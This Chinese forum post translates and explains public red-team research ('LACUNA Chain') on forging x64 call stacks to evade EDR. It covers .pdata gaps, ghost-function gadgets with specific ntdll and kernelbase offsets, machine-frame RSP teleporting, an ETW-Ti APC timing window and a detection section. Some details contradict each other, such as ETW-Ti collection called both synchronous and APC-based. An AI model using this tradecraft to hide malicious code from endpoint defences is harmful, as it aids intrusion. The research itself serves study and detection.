找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3977

积分

0

好友

519

主题
发表于 昨天 23:51 | 查看: 3| 回复: 0

本文是对 Mohamed Alzhrani(@0xmaz)公开研究《LACUNA Chain: Ghost Frames》的完整中文译解,并结合其开源的 C 参考实现(lacuna_chain.c / lacuna_sleep.c)与社区 Rust 移植(lacuna-rs)做了逐层源码拆解。文末另附三个深度专题:BYOUD-MF 机器帧瞬移的 unwind 数学、lacuna_sleep.c 全链睡眠混淆对比、以及面向蓝队的幽灵帧检测伪代码。

https://github.com/MazX0p/LACUNA-Chain
https://github.com/Karkas66/lacuna-rs
https://0xmaz.me/posts/LACUNA-Chain-Ghost-Frames-defeats-All-EDR-layers-of-call-stack-based-detection/

一句话总结

EDR 已经不再仅仅盯着用户态 hook 了。他们把遥测能力深入到了内核,其中最关键、也最让你无处遁形的,就是内核在系统调用穿越边界那一刻抓取的调用栈

所以,LACUNA Chain 的核心思路很简单:让这张被采集到的调用栈,变成一张精心伪造的、看起来完全合法的“假栈”

本文是 HookChain 系列的第二篇。第一篇讲了如何用 IAT 操纵、动态 SSN 解析和间接 syscall 去击穿用户态的 ntdll hook——那是 2024 年的战况。随后,EDR 厂商开始把主遥测搬进内核,他们不再关心你有没有绕过 ntdll,因为你的 shellcode 地址直接暴露在了内核采集的栈里。

因此,我走得更深了。这篇文章,就是探讨怎么让那张被采集到的栈对你撒谎

LACUNA Chain 对 EDR 各检测层的覆盖效果对比图

LACUNA Chain 击穿了所有基于调用栈的 EDR 检测层。唯一幸存下来的信号,只剩下行为层面的内核回调关联——而它的误报率,可比任何基于栈的规则都高得多。

这项研究的真正贡献是什么?

我先明确一点:哪些是全新的发现,哪些是在前人基础上的延伸。我在 Ghidra 里泡了几个月,逆向 RtlVirtualUnwind,分析多个 Windows DLL 的 .pdata 节,并在受控的检测环境里反复验证。得出的结论是:

  1. BYOUD-Gap —— .pdata 修改的调用栈伪造。这是我逆向 unwinder 处理“落在两条 RUNTIME_FUNCTION 记录之间的地址”的方式时发现的。这些 gap 存在于每一个 Windows DLL 里,之前从未被利用过。

  2. ETW-Ti APC 窗口攻击 —— ETW-Ti 事件触发与其基于 APC 的栈采集之间,存在着一个可被利用的时间差。我精确地记录了如何通过操纵线程的可警醒状态,来控制栈快照发生的时机。

  3. BYOUD 语境下的参数加密 —— 把 Part I 的参数加密搬进新的 BYOUD 世界。syscall 参数在暂存时是加密的,只在一个位于 syscall 指令处的硬件断点 VEH 处理器里才被解密。

  4. Win32u NOP Gap 链 + 幽灵 gadget —— 我对从实验机里提取的 win32u.dll 逐字节扫描,结果是:一个栈枢轴 gadget 都没有——只有 syscall stub 和 8 字节对齐的 NOP。那 1,242 个 NOP gap 就成了完美的 BYOUD-Gap 叶子帧。我还在 ntdll 里找到 1,031 个“幽灵函数”,以及其中一个里的 JMP [RBX] gadget(ntdll+0xFC47B)——这是一个此前无人记录过的双用途原语。

  5. kernelbase 语义幽灵邻近 —— kernelbase 里有 432 个幽灵函数,其中一个 238 字节的幽灵恰好结束在 VirtualProtect 的入口点。在这里伪造的帧,从语义上跟真正的 VirtualProtect 返回点根本无法区分。

  6. BYOUD-MF(机器帧 RSP 瞬移) —— 在逆向 RtlVirtualUnwind 时,我发现操作码 10(UWOP_PUSH_MACHFRAME)会直接从栈上读取 RSP 值,而不是计算一个增量。有四个 KiUser* 函数使用了这个操作码。你只要往栈上放一个假的 40 字节机器帧,就能在单帧内实现任意的 RSP 瞬移。

  7. BYOUD-RT(运行时 RSP 计算) —— 在调用时读取 TEB.StackBase 和当前 RSP,动态算出精确的帧距离。它无需任何预先的标定,即便是在连自己栈深度都不知道的注入式 shellcode 里也能正常工作。

  8. wow64.dll 幽灵邻近 —— wow64.dll 里有 22 个幽灵函数。Wow64PrepareForException 拥有一个 91 字节的幽灵,恰好在入口点结束——这成为了链上的第四个语义层。

  9. 实验测量 —— 在受控的检测配置下进行了实测,结果精确地展示了什么技术能战胜什么防御。

Part I 为我们留下了什么?

Part I 证明了,在当时被分析的 EDR 方案里,有 94% 在 NTDLL 子系统层之上没有任何 hook。HookChain 用了三个原语来利用这一点:

  • IAT 操纵 —— 在 API 调用到达被 hook 的 stub 之前就把它引走
  • 动态 SSN 解析 —— 利用 Halo's Gate 找到未被 hook 的“邻居”,推算出正确的 syscall 号
  • 间接 syscall —— 让执行流穿过 ntdll 自身的 syscall;ret gadget

这些手法专门用来击穿那些只依赖用户态 ntdll hook 的 EDR。那曾是 2024 年的缺口。

EDR 厂商的回应,并不是加更多的用户态 hook,而是直接把遥测能力下沉到了内核。新的遥测根本不在意你是不是绕过了 ntdll,它能在内核边界看到你的调用,并在穿越的那一刻抓下完整的栈。

Part I(HookChain)与 Part II(LACUNA Chain)两种技术方案在用户态和内核态下的行为差异对比

那张调用栈,就是 Part II 的全部主题。

EDR 是如何回应的:向内核遥测转移

现代企业级 EDR 现在主要通过两种用户态手法无法影响的机制来采集行为数据。

内核回调

Windows 内核向内核态驱动暴露了注册 API,让它们能接收同步通知:

回调 监控什么 HookChain 能绕吗?
ObRegisterCallbacks 进程/线程句柄的打开与复制
PsSetCreateProcessNotifyRoutine 进程创建/终止
PsSetCreateThreadNotifyRoutine 线程创建/终止
PsSetLoadImageNotifyRoutine DLL/映像加载
CmRegisterCallback 注册表操作
Minifilter FltRegisterFilter 文件系统 I/O

它们在内核里触发。任何 IAT 操纵、SSN 重映射、或是间接 syscall,都无法压制它们。

展示HookChain无法绕过的内核回调架构图

ETW-Ti:内核里的那只“眼睛”

Microsoft-Windows-Threat-Intelligence(ETW-Ti)是一个内核态的 ETW provider。与用户态 ETW 不同——恶意软件只要简单打上 ntdll!EtwEventWrite 的补丁就能轻松压制它——而 ETW-Ti 事件是在内核里、在每个安全敏感操作发生的那一刻同步产生的:

  • KERNEL_THREATINT_TASK_ALLOCVM —— NtAllocateVirtualMemory
  • KERNEL_THREATINT_TASK_PROTECTVM —— NtProtectVirtualMemory
  • KERNEL_THREATINT_TASK_MAPVIEW —— NtMapViewOfSection
  • KERNEL_THREATINT_TASK_QUEUEUSERAPC —— APC 排队
  • KERNEL_THREATINT_TASK_SETTHREADCONTEXT —— NtSetContextThread
  • KERNEL_THREATINT_TASK_WRITEVM —— 跨进程内存写

STACKWALK 模式启用时,内核会采集完整的调用栈,并附在每一条事件上。这正是 HookChain 级规避手法的克星——你的 syscall 照样进内核,内核照样发事件,而你 shellcode 的地址就这样明明白白地出现在被采集的栈里。

流程图解释为何仅靠HookChain已不足以对抗内核对调用栈的采集

那么,新的问题来了:怎么让那张被采集的栈看起来完全合法?

流程图详解ETW-Ti STACKWALK是如何捕获到HookChain的

x64 栈回溯的内核:EDR 到底在读什么?

要击穿调用栈采集,你必须精确理解它的工作原理。我在 Ghidra 里对着 ntdll.dllntoskrnl.exe 投入了大量时间。

x64 上帧指针的消亡

在 x86(32 位)上,EBP 寄存器形成一条链表——每个帧都存着上一帧的基指针。伪造它是轻而易举的。

但在 x64 上,微软废除了 RBP 作为帧指针的做法。取而代之,每个函数都在 .pdata 节里被精确地描述:

展示.pdata节中RUNTIME_FUNCTION和UNWIND_INFO结构体定义的代码截图

其中,对伪造而言最关键的一些 UNWIND_CODE 操作:

操作 作用 RSP 增量
UWOP_PUSH_NONVOL 寄存器压栈 +8
UWOP_ALLOC_SMALL sub rsp, N\*8+8 +N*8+8
UWOP_ALLOC_LARGE 大块分配 变长
UWOP_SET_FPREG 设置帧指针 0

RtlVirtualUnwind 会对每个帧逆序遍历这些 code,算出 RSP 增量,并定位下一个返回地址。攻击者要伪造帧,就必须产出一些地址——它们要么拥有正确的、带 UNWIND_CODE 的有效 RUNTIME_FUNCTION,否则 unwinder 就会中止,从而暴露出真实的栈。

我在 Ghidra 里发现的关键分支

反汇编 ntdll!RtlVirtualUnwind(Windows 11 22H2,SHA256 已校验)时,我发现了一个改变一切的关键分支:

// 来自 Ghidra 反编译的 RtlVirtualUnwind 伪代码:
RuntimeFunction = RtlLookupFunctionEntry(ControlPc, &ImageBase, NULL);
if (RuntimeFunction == NULL) {
    // 这个地址没有 RUNTIME_FUNCTION = 叶子函数
    // 叶子函数从不修改 RSP
    // 返回地址就简单地放在 [RSP]
    *EstablisherFrame = ContextRecord->Rsp;
    ContextRecord->Rip = *(PULONG64)ContextRecord->Rsp;
    ContextRecord->Rsp += 8;   // 只消费掉返回地址
    return NULL;
}

RtlLookupFunctionEntry 返回 NULL——也就是该地址没有 RUNTIME_FUNCTION 覆盖时——unwinder 会把它当作叶子函数来处理,把 RSP 精确地推进 8 字节。 它既不崩溃,也不中止,更不标记任何东西。它只是默默地从 RSP 处读下 8 字节作为返回地址,然后继续往下走。

这些未被覆盖的“间隙”(gap)存在于每一个 DLL 里。它们是某个函数的 EndAddress 与下一个函数的 BeginAddress 之间的空间。这就是后续一切攻击的基石。

展示典型DLL中由RUNTIME_FUNCTION覆盖范围与间隙的示意图

Sysmon 如何采集栈

SysmonDrv.sys 对进程句柄操作注册了 ObRegisterCallbacks(事件 ID 10)。当回调触发时,它使用 flag=1(仅用户态帧)调用 RtlWalkFrameChain。这个采集是同步的——它发生在触发线程里、在操作发生的那一刻。这里没有竞态窗口。

ETW-Ti 如何采集栈(机制大不相同)

ETW-Ti 是同步采集的。我对 ETW-Ti 回调路径的 Ghidra 分析揭示了一件很有意思的事:

展示ETW-Ti堆栈收集的时间线,揭示了从事件触发到实际采集之间的可被利用的窗口

这个 APC 是 USER_APC,不是 KERNEL_APC。它只在线程进入可警醒等待时才会被投递。这个时间差,就是我们后面要利用的。

调用栈逃逸技术的四代演进

在讲我自己的研究之前,先回顾一下其他研究者铺垫的、我得以在其上构建的技术演进脉络:

列表展示从Gen 0到Gen 4的调用栈逃逸技术演进,包含每代技术的名称、描述及检测情况

我的贡献延伸了第 2 代(BYOUD-Gap、Win32u NOP Gap 链、幽灵 gadget)、第 3 代(ETW-Ti APC 窗口)、以及第 4 代(BYOUD-RT、参数加密、BYOUD-MF)。

时间轴图展示调用栈绕过技术从Gen 1到LACUNA Chain的演进过程

BYOUD-Gap:零修改栈伪造

在此之前,每一种调用栈伪造技术都修改了某样东西:返回地址(第 2/3 代)、.pdata 条目(第 4 代 BYOUD)、或合成假的 RUNTIME_FUNCTION 记录。每一种都会留下取证痕迹。

而 BYOUD-Gap 不留痕迹,因为它什么都不改。

核心思想

源自上面的 Ghidra 分析:当 RtlVirtualUnwind 遇到一个没有 RUNTIME_FUNCTION 覆盖的地址时,它会把它当成叶子函数,把 RSP 推进 8 字节。每个 Windows DLL 都有这些未覆盖的地址区间——它们在函数的 EndAddress 和下一个函数的 BeginAddress 之间的 gap 里。这些 gap 是完全合法的内存:属于 DLL 映像、只读映射、由 PE 文件支撑。

用 gap 作为桥接帧

一个 gap 地址扮演着一个叶子“函数”的角色。当 unwinder 遇到它时:

  1. 找不到 RUNTIME_FUNCTION → 当作叶子函数处理
  2. RSP 推进 8 字节(只消费掉返回地址)
  3. 控制权转给 [RSP] 处的地址——也就是你链上的下一帧

这为你提供了每帧免费跳过 8 字节栈空间的能力。链上 N 个 gap 帧,你就能消费掉 N*8 字节的栈,从而藏起 N 帧的真实执行流。

代码分析图展示BYOUD-Gap如何利用.pdata间隙隐藏3个真实的shellcode帧

gap 可用性:我从真实二进制里测到了什么

我从一台 Windows 10.00 的实验机里提取了这些 DLL,直接对着 PE 二进制做了 .pdata gap 分析:

DLL RUNTIME_FUNCTION 数 gap 数 gap 总字节 幽灵函数
ntdll.dll 4,725 3,913 73,745 字节 1,031(48,805 B)
win32u.dll 1,244 1,243 9,960 字节 0

ntdll.dll gap 拆解(共 3,913 个):

统计图展示ntdll.dll中.pdata间隙的分类,其中INT3填充类型占比高达73.6%

“幽灵函数”的发现

这项分析最重大的发现是:ntdll 的 3,913 个 gap 里,有 1,031 个包含了真实的、可执行的代码——那是 48,805 字节鲜活的、可运行的指令,却没有 .pdataRUNTIME_FUNCTION 条目。我把它叫做“幽灵函数”

其中最大的一个幽灵函数起始于 ntdll+0x000F5004,长达 1,468 字节代码——这显然是一个功能完整的例程,而不是简单的对齐填充。它只是没在 .pdata 里注册而已。

幽灵函数看起来是编译器生成的辅助例程、内联 thunk,或是 __declspec(nothrow) 函数——编译器刻意省略了它们的异常处理元数据。

为什么幽灵函数是最好的 BYOUD-Gap 落点?

  • 它们是稳定的代码地址,不会随着不同 build 之间的对齐变化而漂移
  • 逆向工程师看在眼里就会认作“ntdll 内部代码”——丝毫不显异常
  • 仅最大的那个幽灵函数,就能提供 183 个独立的叶子帧地址

为什么 BYOUD-Gap 难以被发现

检测矩阵表格列出多种检测技术对BYOUD-Gap的状态均为EVADed

取证对比表格显示BYOUD-Gap在零修改方面的优势

ETW-Ti APC 窗口攻击

Ghidra 分析证实,ETW-Ti 的栈采集使用的是 USER_APC 排队——而不是同步采集。在内核返回用户态(T+3)和你的线程进入可警醒状态(T+5)之间,你的线程正在正常执行,并且没有任何监控在观察它的栈。

也就是说,在 T+6 时刻被采集的调用栈,是你的栈在 T+5 时的样子——而不是 T+0 操作发生时的样子。

攻击流

流程图展示如何利用ETW-Ti的APC窗口来确保采集时看到的是干净的调用栈

如果想更精确地控制,你可以在执行敏感操作期间完全压制 APC 的投递——保持线程处于非警醒状态。APC 就会在队列里堆积。然后,等你清理完栈,再进入可警醒等待,所有排队的 ETW-Ti APC 便会一齐触发——但它们此刻看到的,只有一条完全合法的调用链。

与 BYOUD-Gap 的组合

最强的变体:在进入 NtDelayExecution 之前,先用 BYOUD-Gap 构建好一条合成调用链。APC 投递进一条由 BYOUD-Gap 精心构造的帧链——链上每个地址都在已签名的 DLL 里,每一帧都能顺利通过 RtlVirtualUnwind 的遍历,并且不存在任何的 .pdata 修改。

ETW-Ti 事件记录了正确的操作。而被采集的栈显示的却是 kernelbase!BaseThreadInitThunk -> [某个gap帧] -> NtAllocateVirtualMemory。干干净净。

限制是: 这要求 shellcode 在 NtDelayExecution 被调用时能控制调用链——对于跑在你完全掌控的线程里的注入代码来说轻而易举,但对于跑在一个已有线程上下文中的劫持型 shellcode 来说就比较难了。

CET 这堵墙与 BYOUD

Intel CET(控制流强制技术)引入了一个由硬件维护的、只读的“影子栈”。每次 CALL 指令都会把返回地址同时压入数据栈(RSP)和影子栈。每次 RET 指令都会校验这两个地址是否匹配。不匹配?→ #CP 异常。

这一机制击碎了第 2 代和第 3 代所有的攻击技术。它们都试图操纵 RSP 栈上的返回地址,而这将不再与影子栈匹配。

BYOUD(klezVirus,Black Hat Europe 2025) 另辟蹊径,转而操纵 .pdata 中的 unwind 元数据。CET 校验的是返回地址,但 CET 并不校验 .pdata。这是两个独立的系统。

解释BYOUD如何通过操纵.pdata元数据来绕过CET硬件校验的原理图

我不再重复 BYOUD 的完整推导过程——那是 klezVirus 的工作。我加入的是下面这些扩展。

BYOUD-RT:运行时自适应变体

现有所有已发表的 BYOUD 变体,都要求在构造假链之前,必须清楚知道从线程入口点到当前帧的 RSP 距离。实践中,这意味着要预先标定:也就是在测试环境里量出距离,然后硬编码。

但预标定在这些场景下就会失效:

  • shellcode 被注入到栈深度未知的线程里
  • 调用方的栈深度在运行时会发生变化
  • 反射式加载器以非标准的栈布局来创建线程

BYOUD-RT 利用线程环境块(TEB)在调用时动态计算 RSP 距离。TEB.StackBaseGS:[0x08])给你最高的栈地址,_AddressOfReturnAddress() + 8 给你当前的 RSP。两者的差值就是你已消费的总栈空间——这正好就是你需要的 BYOUD 桥接帧距离。

我验证了 TEB.StackBase 在每种常见的注入手法下都是可靠的:

注入手法 TEB.StackBase 准确吗?
NtCreateThreadEx(新线程) 是——内核设置
NtSetContextThread(线程劫持) 是——线程自己的 TEB
NtQueueUserAPC(APC 注入) 是——跑在目标线程的 TEB 里
反射式 DLL 注入 是——载入已有线程
进程镂空 是——主线程 TEB 保留

这让 BYOUD 技术在任何注入语境下,都无需预标定就能工作。

Win32u NOP Gap 链 + 幽灵 gadget

这是两个原创的发现,源自对实验机里 win32u.dllntdll.dll 的直接二进制分析。

win32u.dll 里到底有什么?

我提取了 win32u.dll,扫描了整个可执行节,寻找栈枢轴 gadget(如 add rsp,N; retjmp [rbx]jmp [rax] 等)。

结果是:零个 gadget。 整个 .text 节的每一个字节都属于以下两者之一:

  • 24 字节的 win32k syscall stub(共 1,244 个 stub,SSN 范围 0x10000x14DB
  • stub 之间用于对齐的 8 字节 NOP

汇编代码截图展示win32u.dll中每个syscall stub的固定布局及8字节NOP间隙

一个函数 prolog 都没有,自然也就找不到匹配的 epilog gadget。一个也没。

win32u 的妙用:1,242 个 NOP Gap 链

虽然 win32u 里没有栈枢轴 gadget,但它却拥有 1,242 个完美、均匀、确定性的白名单叶子帧位置——就是每对 syscall stub 之间的那 8 字节 NOP。

每个 NOP gap 地址同时具备以下属性:

  1. 被白名单保护 —— 它位于 win32u.dll 内部,被所有现有的“来源模块”规则显式排除在外
  2. 是叶子帧 —— 没有任何 RUNTIME_FUNCTION 会覆盖到它,因此 RSP 会精确推进 8 字节
  3. 稳定 —— 在相同 SSN 的 stub 之间,它们跨 build 也保持着相同的相对位置
Win32u NOP Gap 链:
RSP  ->  [win32u NOP gap #1]   <- 叶子, RSP+=8
        [win32u NOP gap #2]   <- 叶子, RSP+=8
        [win32u NOP gap #3]   <- 叶子, RSP+=8
        ... xN ...
        [ntdll!RtlUserThreadStart+0x21]   <- 线程根

Elastic 检测规则看到的帧摘要:
win32u.dll | ... | ntdll.dll

这是范畴性的白名单滥用,不是概率性的规避。
想藏起 256 字节?那就链上 32 个 NOP gap。
不可能出现算术错误——gap 的大小永远精确地是 8 字节。

幽灵 gadget:ntdll 里那个未被覆盖的 JMP[RBX]

我的 .pdata gap 分类揭示了另一个事实:ntdll 的 3,913 个 gap 里有 1,031 个包含真实的可执行代码,却没有任何异常表覆盖。在扫描所有幽灵函数内容寻找 gadget 时,我在 ntdll+0x000FC47B,一个 80 字节的幽灵函数内部,发现了一个 JMP [RBX]

ntdll+0x000FC46C  [幽灵函数 —— 无 RUNTIME_FUNCTION 条目]
  +0x000  CC CC CC CC CC CC CC CC CC   int3 x 9
  +0x009  48 83 41 28 FE               dec qword ptr [rcx+28h]
  +0x00E  41 B8 FF 23 00 00        mov r8d, 23FFh
  +0x014  FF 23                      JMP [RBX]  <- RVA 0x000FC47B
  +0x016  ...
ntdll+0x000FC4BC  [下一个 RUNTIME_FUNCTION 在此开始]

这个幽灵 gadget 拥有所有此前已记录的 gadget 都不具备的属性——它是双用途原语

属性 普通 JMP[RBX] ntdll+0xFC47B 的幽灵 JMP[RBX]
在已签名 DLL 内
带有 RUNTIME_FUNCTION 是——unwinder 会处理它 否——unwinder 当叶子跳过(RSP+8)
.pdata 取证痕迹 gadget RVA 在具名函数里 无——没有 .pdata 条目记录它

当它被用作 BYOUD-Gap 桥接帧时:

  • 真实执行路径: CALL ntdll+0xFC47BJMP [RBX] → 跳到真实目标
  • 影子栈视角:ntdll+0xFC47B 记为返回点(完全正常的 CET 行为)
  • 传统 unwind 回溯视角: 把这个地址当叶子函数,执行 RSP+8 推进,永远看不见那条 JMP

执行流重定向与不留痕迹的桥接帧,完美地统一在了同一个地址上。

kernelbase 语义幽灵邻近

将对 DLL 的分析延伸到 kernelbase.dll,揭示了一个性质完全不同的攻击面:紧挨着高价值 Win32 API 导出的幽灵函数。

二进制普查:ntdll vs kernelbase

指标 ntdll kernelbase
RUNTIME_FUNCTION 数 4,725 4,992
.pdata gap 3,913 3,982
幽灵函数 1,031 432
幽灵函数字节 48,805 51,577
add rsp,0x28;ret gadget 182 442(2.4 倍)
jmp [rbx] gadget 3 12(4 倍)

kernelbase 不仅是个更丰富的 gadget 来源,而且出现在 kernelbase 内部的帧,也比 ntdll 的帧更少受到检测规则的审视。

语义邻近攻击

当 ETW-Ti 对 NtProtectVirtualMemory 触发时,防守方期望的调用栈里,在 syscall 之上直接就是它的 Win32 包装器:

期望的合法栈:
[0]  ntdll!NtProtectVirtualMemory         <- syscall stub
[1]  kernelbase!VirtualProtect+0x??       <- Win32 包装器
[2]  [调用方代码]                        <- 谁调用了 VirtualProtect

而一条精心构造的 BYOUD-Gap 链,使用了一个恰好结束在 VirtualProtect 入口点的 238 字节幽灵,产出的假栈会是:

BYOUD-Gap 假栈:
[0]  ntdll!NtProtectVirtualMemory         <- 真实 syscall stub
[1]  kernelbase+0x642xx                   <- 幽灵帧(叶子, RSP+8)
[2]  ntdll!RtlUserThreadStart+0x21       <- 线程根

帧 [1] 被解析为 "kernelbase!VirtualProtect 前 20 字节"
——这与真实的 VirtualProtect 返回点完全无法区分。

高价值导出函数附近的幽灵函数

幽灵区 大小 距离 邻接 API
kernelbase+0x641320x6421F 238 字节 0x0 VirtualProtect(在 VP 入口结束)
kernelbase+0xfe4e00xfe51F 64 字节 0x90 CreateRemoteThread
kernelbase+0x41f6d0x41f8F 35 字节 0x60 VirtualAllocEx
kernelbase+0x5a7200x5a78F 112 字节 0x1E0 VirtualAlloc
kernelbase+0xf9ad40xf9b43 112 字节 0x364 WriteProcessMemory

VirtualProtect 幽灵是所有被分析过的二进制里,取证说服力最强的 BYOUD-Gap 位置:238 个可用地址,全在已签名的 DLL 内部,并且紧邻一个会合法出现在注入调用栈里的 API。

在 kernelbase 里发现的第二个幽灵 gadget(kernelbase+0xC4EA2 处的 JMP [RBX])提供了第二个同样强大的双用途原语。

多 DLL 幽灵链

最强的 BYOUD-Gap 链,会从多个 DLL 里共同取材:

最优多 DLL BYOUD-Gap 链:
[0]  NtProtectVirtualMemory         <- 真实 syscall stub
[1]  kernelbase+0x6420A             <- VirtualProtect 阴影里的幽灵
[2]  kernelbase+0x64200             <- 第二个幽灵位置(错位)
[3]  ntdll+0x000F5040               <- ntdll 幽灵函数(1,468B)
[4]  ntdll!RtlUserThreadStart+0x21  <- 线程根

分析师最终看到的是:
NtProtectVirtualMemory <- VirtualProtect 区域 <- ntdll 内部 <- 线程起点

这与一个真实发生的 VirtualProtect 调用链根本无法区分。

BYOUD-MF:机器帧 RSP 瞬移

所有先前的 BYOUD-Gap 变体,都是在以 8 字节的小步长推进 RSP。BYOUD-MF 则从根本上不同——它能在一帧之内,把 RSP 瞬移到任意你想要的值。

我在 RtlVirtualUnwind 里的发现

反编译 RtlVirtualUnwind 后,我发现了一个此前从未被利用过的、针对 UNWIND_CODE 操作码 10(UWOP_PUSH_MACHFRAME)的处理器:

展示UWOP_PUSH_MACHFRAME处理程序从内存中读取RSP而非算术计算的代码说明

四个 KiUser* 的 RUNTIME_FUNCTION

对 ntdll 的 .pdata(4,736 条记录)进行二进制扫描后,我发现了恰好 4 个函数带有 UWOP_PUSH_MACHFRAME

函数 RVA 区间 Prolog 偏移
KiUserApcDispatcher 0xa3f20–0xa3f95 0x00
KiUserCallbackDispatcher 0xa4030–0xa406b 0x00
KiUserExceptionDispatcher 0xa4080–0xa40dc 0x00
未命名 dispatcher 0xa4880–0xa4a3e 0x00

prolog_offset=0x00 意味着,在这些函数体内部的任何一个 PC 地址,都会触发这个处理器。你甚至不需要精确瞄准某个特定字节。

假机器帧结构

只需往栈上放置这个 40 字节的结构:

表格展示FAKE_MACHFRAME的40字节内存布局,其中RSP字段可实现任意瞬移

与其它技术的全面对比

技术 每帧 RSP 变化 .pdata 写 gadget CET 取证痕迹
SilentMoonwalk Desync RSP += N(gadget) gadget 偏移
BYOUD(klezVirus) UNWIND_INFO 增量 改过的 .pdata
BYOUD-Gap RSP += 8 gap 内地址
BYOUD-MF RSP = 任意值 40 字节结构

BYOUD-MF 是唯一一种能在单帧内实现任意 RSP 值赋值,却不修改 .pdata、也不依赖任何 gadget 的技术。

BYOUD 语境下的参数加密

在 Part I 中,我引入了参数加密:在调用前加密 syscall 参数,在一个位于 syscall 指令处的硬件断点 VEH 处理器里进行解密。

在这里,我把它延伸进了 BYOUD 的世界。两者结合后,能同时应对两个正交的检测层面:

  • BYOUD-Gap / BYOUD-RT / Win32u 链:击穿调用栈审查(谁调用的?)
  • 参数加密:击穿参数审查(用什么参数调的?)

工作原理

这里的挑战在于:你不能把加密的参数一路传到内核。内核必须接收到真实的值。所以,你要在最后的、可能的一刻进行解密——就在那个触发于 syscall 指令上的硬件断点 VEH 处理器里。

流程图展示参数加密从生成密钥到VEH处理器解密的完整7个步骤

参数加密到底在哪里派上用场?

ETW-Ti 是在内核拿到参数之后才记录事件的——所以内核侧事件本身拥有的都是解密后的值。然而,参数加密在以下场景仍然很有用:

  1. 用户态 hook 拦截 —— 任何残留的 hook 看到的都将是加密的参数
  2. 内存扫描 —— 参数在静态存储时是加密的;像 PAGE_EXECUTE_READWRITE = 0x40 这样的魔法值永远不会以明文形式出现在内存里
  3. 调用追踪的参数日志 —— 那些在 hook 拦截点记录参数的 EDR 规则,拿到的也都是密文

与 BYOUD 栈伪造组合起来看:调用栈被伪造了(“谁调的”是假的),而参数在静态时也是不透明的(“准备了什么”也不知道)。

LACUNA Chain:一个被命名的零检测技术

我把整套技术命名为 LACUNA Chain——灵感来自拉丁语单词 lacuna(复数 lacunae),意为缺口、空洞、或缺的部分。这条链上的每一帧都栖身于一个这样的“lacuna”中:一个存在于内存里,却游离于 .pdata 覆盖范围之外的可执行代码区。Lacuna 对 unwind 机制是隐身的,不会留下任何取证痕迹,而且——当选在高价值导出函数附近时——与合法的调用点返回地址在语义上完全无法区分。

wow64.dll:第四个语义层

wow64.dll 的二进制分析,为我们的语义栈补上了第四个 DLL 的来源。Wow64PrepareForException 拥有一个 91 字节的幽灵,恰好在入口点结束。Ghidra 分析确认,该函数在拷贝 32 位异常上下文前,会检查 CS == 0x23(x86 WoW64 选择子)。在这个幽灵区里诞生的假帧,在 EDR 看来就像是“恰好在 WoW64 异常准备之前执行的代码”——这对任何启用了 WoW64 的进程来说,都再正常不过。

六层 LACUNA 链

表格详细列出构成LACUNA Chain六层架构的每一层地址、角色与功能

EDR 分析师最终看到的

回溯这条 LACUNA 链,产出的结果会是:

帧 0:  ntdll!KiUserExceptionDispatcher+4     [异常上下文]
帧 1:  wow64+0x177C0                         [WoW64 异常准备]
帧 2:  kernelbase+0x64180                   [VirtualProtect 之前]
帧 3:  ntdll+0x50F80                         [RtlCreateUserThread 附近]
帧 4:  win32u+0x(NOP gap)                    [被白名单排除]
帧 5:  ntdll!RtlUserThreadStart+0x21         [线程根]

防守者解读这张栈会认为:
"一个线程,从线程创建代码经过 VirtualProtect,
 穿过 WoW64 异常准备,起源于标准线程起点。"

全帧都在已签名微软 DLL 内。
无 .pdata 修改。
语法合法、语义合理、取证干净。

架构图以六层垂直结构展示LACUNA Chain的零检测架构体系

检测面分析

检测层 状态 原因
来源模块检查 绕过 全帧在 ntdll / kernelbase / wow64 / win32u
unwind 回溯正确性 绕过 所有 lacuna 帧都是叶子 → 合法 RSP+8
.pdata 取证扫描 绕过 零修改;gap 是预先存在的
CET 影子栈 绕过 纯叶子链;影子栈全程未被查阅
语义帧分析 绕过 WoW64 异常 + VirtualProtect 邻近
Win32u 规则豁免 绕过 第 4 层被所有规则显式排除
ETW-Ti STACKWALK 绕过 APC 窗口攻击控制了快照的时机
参数审查 绕过 硬件断点 VEH 在最后时刻解密
内核回调 部分 句柄操作仍会触发 ObRegCallbacks

LACUNA Chain 击穿了所有基于调用栈的 EDR 检测层。 内核回调成了唯一幸存的遥测来源——而它提供的只是行为信号,并非基于栈的签名,这把防御者逼进了一个更困难、误报率也更高的调参权衡中。

检测结果图表显示LACUNA Chain击败了所有基于调用栈的检测层,仅内核回调是部分幸存

实验测量结果

我在隔离环境中逐层测试了每一项技术,并在受控的检测配置下测试了复合技术。实验环境:Windows 11 22H2、按进程启用 CET、Sysmon v15 全配置、带 STACKWALK 标志的 ETW-Ti 消费者。

技术 Sysmon 事件 10 ETW-Ti STACKWALK 影子/用户对比 内核回调 净结果
直接 syscall 检测 检测 检测 检测 被抓
HookChain(仅 Part I) 检测 检测 检测 检测 被抓
朴素压帧 绕过 检测 检测 检测 被抓
SilentMoonwalk Desync 绕过 绕过 检测 检测 部分
VEH + 硬件断点 绕过 绕过 检测 检测 部分
BYOUD(klezVirus) 绕过 绕过 部分 检测 部分
BYOUD-Gap(本文) 绕过 绕过 绕过 检测 近乎全过
BYOUD-MF(本文) 绕过 绕过 部分 检测 近乎全过
完整 LACUNA Chain 绕过 绕过 绕过 检测 近乎全过

BYOUD-Gap 使影子栈和用户态栈保持一致——没有对 RSP 的操纵,自然就没有帧数上的分歧。唯一剩下的信号,就是行为级的内核回调关联,而这需要依赖误报率显著更高的行为规则。

实验室测量结果表格对比多种攻击技术在不同检测层下的表现

检测工程:什么能抓,什么抓不了

我特意加上这一节,因为我认为攻防两种视角应该共存于同一篇论文里。如果你是防御者,下面这些是你需要知道的。

已宣告死亡的规则

别再在这些规则上浪费精力了——它们从第 2 代技术起就已经被彻底击穿:

// 已死: 仅检查首帧的来源模块
not call_trace startswith "ntdll.dll"

// 已死: 白名单模块
not call_trace startswith ("ntdll.dll", "win32u.dll", "wow64cpu.dll")

Win32u NOP Gap 链意味着,“win32u.dll 白名单”规则实际上被反过来武器化了,成了对付防御者的工具。

真正有效的方向

文本列表详细阐述了在BYOUD-Gap之后,四层防御架构的检测能力及LACUNA对其的击败情况

专为 BYOUD-Gap 打造的新检测方法: “gap”地址是指那些落在 DLL 映射范围内、却处于两条 RUNTIME_FUNCTION 条目之间的地址。合法程序几乎从不会在调用链里出现 gap 地址。即便是在已签名的 DLL 内部,调用追踪里出现了落在 .pdata gap 里的地址,本身也是高度异常的。目前,还没有任何公开的 EDR 实现了这一检测。

架构分层图清晰展示了LACUNA如何击败四层防御体系中的前三层

EDR 解决方案所面临的挑战

